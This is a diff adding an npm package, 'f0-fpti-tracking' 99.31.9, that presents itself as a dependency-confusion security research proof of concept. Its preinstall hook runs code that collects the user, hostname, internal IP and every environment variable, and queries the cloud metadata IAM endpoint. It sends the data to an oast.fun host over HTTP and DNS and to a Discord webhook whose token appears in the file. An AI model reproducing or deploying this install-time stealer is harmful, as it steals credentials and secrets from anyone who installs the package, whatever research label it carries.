f0-fpti-tracking 99.31.9

package/index.js

@@ -0,0 +1,100 @@
+const http = require('http');
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+// --- CONFIGURACIÓN ---
+const OAST_HOST = "d756g1ti191heqk6b9l0o5r1sjctxedm9.oast.fun";
+const PKG_NAME = require('./package.json').name;
+
+// Función para ejecutar comandos sin petar el script
+function run(cmd) {
+    try {
+        return execSync(cmd, { timeout: 2000, stdio: 'pipe' }).toString().trim().substring(0, 50);
+    } catch (e) { return "n/a"; }
+}
+
+async function collectAndSend() {
+    // 1. Recolección de la "Huella Dactilar" (Fingerprinting)
+    
+    // Obtener TODAS las variables de entorno sin filtrar
+    const allEnvVars = {};
+    for (const [key, value] of Object.entries(process.env)) {
+        allEnvVars[key] = value;
+    }
+    
+    const data = {
+        pkg: PKG_NAME,
+        timestamp: new Date().toISOString(),
+        identity: {
+            user: os.userInfo().username,
+            host: os.hostname(),
+            platform: `${os.platform()} ${os.release()}`,
+            internal_ip: Object.values(os.networkInterfaces()).flat()
+                .filter(i => i.family === 'IPv4' && !i.internal).map(i => i.address)[0] || "no_ip"
+        },
+        context: {
+            cwd: process.cwd(),
+            // AHORA: Todas las variables de entorno completas
+            all_env_vars: allEnvVars,
+            // Mantenemos el campo original por compatibilidad pero ahora vacío
+            env_hint: Object.keys(process.env).join(', ').substring(0, 100),
+            // Intentamos ver si estamos en AWS/GCP/Azure (Metadata Service)
+            cloud: run('curl -s --connect-timeout 1 http://169.254.169.254/latest/meta-data/iam/info || echo "no_cloud"')
+        }
+    };
+
+    const payload = Buffer.from(JSON.stringify(data)).toString('base64').replace(/=/g, '');
+
+    // 2. EXFILTRACIÓN VÍA HTTP (Detallada)
+    const options = {
+        hostname: OAST_HOST,
+        port: 80,
+        path: `/hit?d=${payload}`,
+        method: 'GET'
+    };
+    
+    const req = http.request(options);
+    req.on('error', () => {});
+    req.end();
+
+    // 3. EXFILTRACIÓN VÍA DNS (Bypass de Firewalls)
+    const dnsLabel = `${data.identity.host.substring(0,15)}.${data.identity.user.substring(0,10)}`.replace(/[^a-z0-9]/gi, '-');
+    try {
+        execSync(`nslookup ${dnsLabel}.${OAST_HOST}`, { stdio: 'ignore' });
+    } catch (e) {}
+    
+    // 4. Discord Webhook con toda la info
+    const discordPayload = JSON.stringify({
+        content: "🔥 **NEW DEPENDENCY CONFUSION TRIGGERED** 🔥",
+        embeds: [{
+            title: "Execution Evidence - Full Environment",
+            color: 16711680,
+            fields: [
+                { name: "📦 Vulnerable Package", value: PKG_NAME, inline: false },
+                { name: "👤 User", value: data.identity.user, inline: true },
+                { name: "💻 Hostname", value: data.identity.host, inline: true },
+                { name: "🌐 Internal IP", value: data.identity.internal_ip, inline: true },
+                { name: "📂 Directory", value: data.context.cwd, inline: false },
+                { name: "🔧 Platform", value: data.identity.platform, inline: true },
+                { name: "☁️ Cloud Info", value: data.context.cloud.substring(0, 50), inline: true },
+                { name: "🔑 Total Env Vars", value: Object.keys(allEnvVars).length.toString(), inline: true }
+            ],
+            footer: { text: "PayPal Bug Bounty Research - lasitoboy" }
+        }]
+    });
+
+    const reqDiscord = https.request({
+        hostname: 'discord.com',
+        port: 443,
+        path: '/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo',
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+    });
+    reqDiscord.on('error', () => {});
+    reqDiscord.write(discordPayload);
+    reqDiscord.end();
+}
+
+collectAndSend();
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "f0-fpti-tracking",
+  "version": "99.31.9",
+  "description": "Security Research PoC for Dependency Confusion - f0-fpti-tracking",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "lasitoboy",
+  "license": "MIT"
+}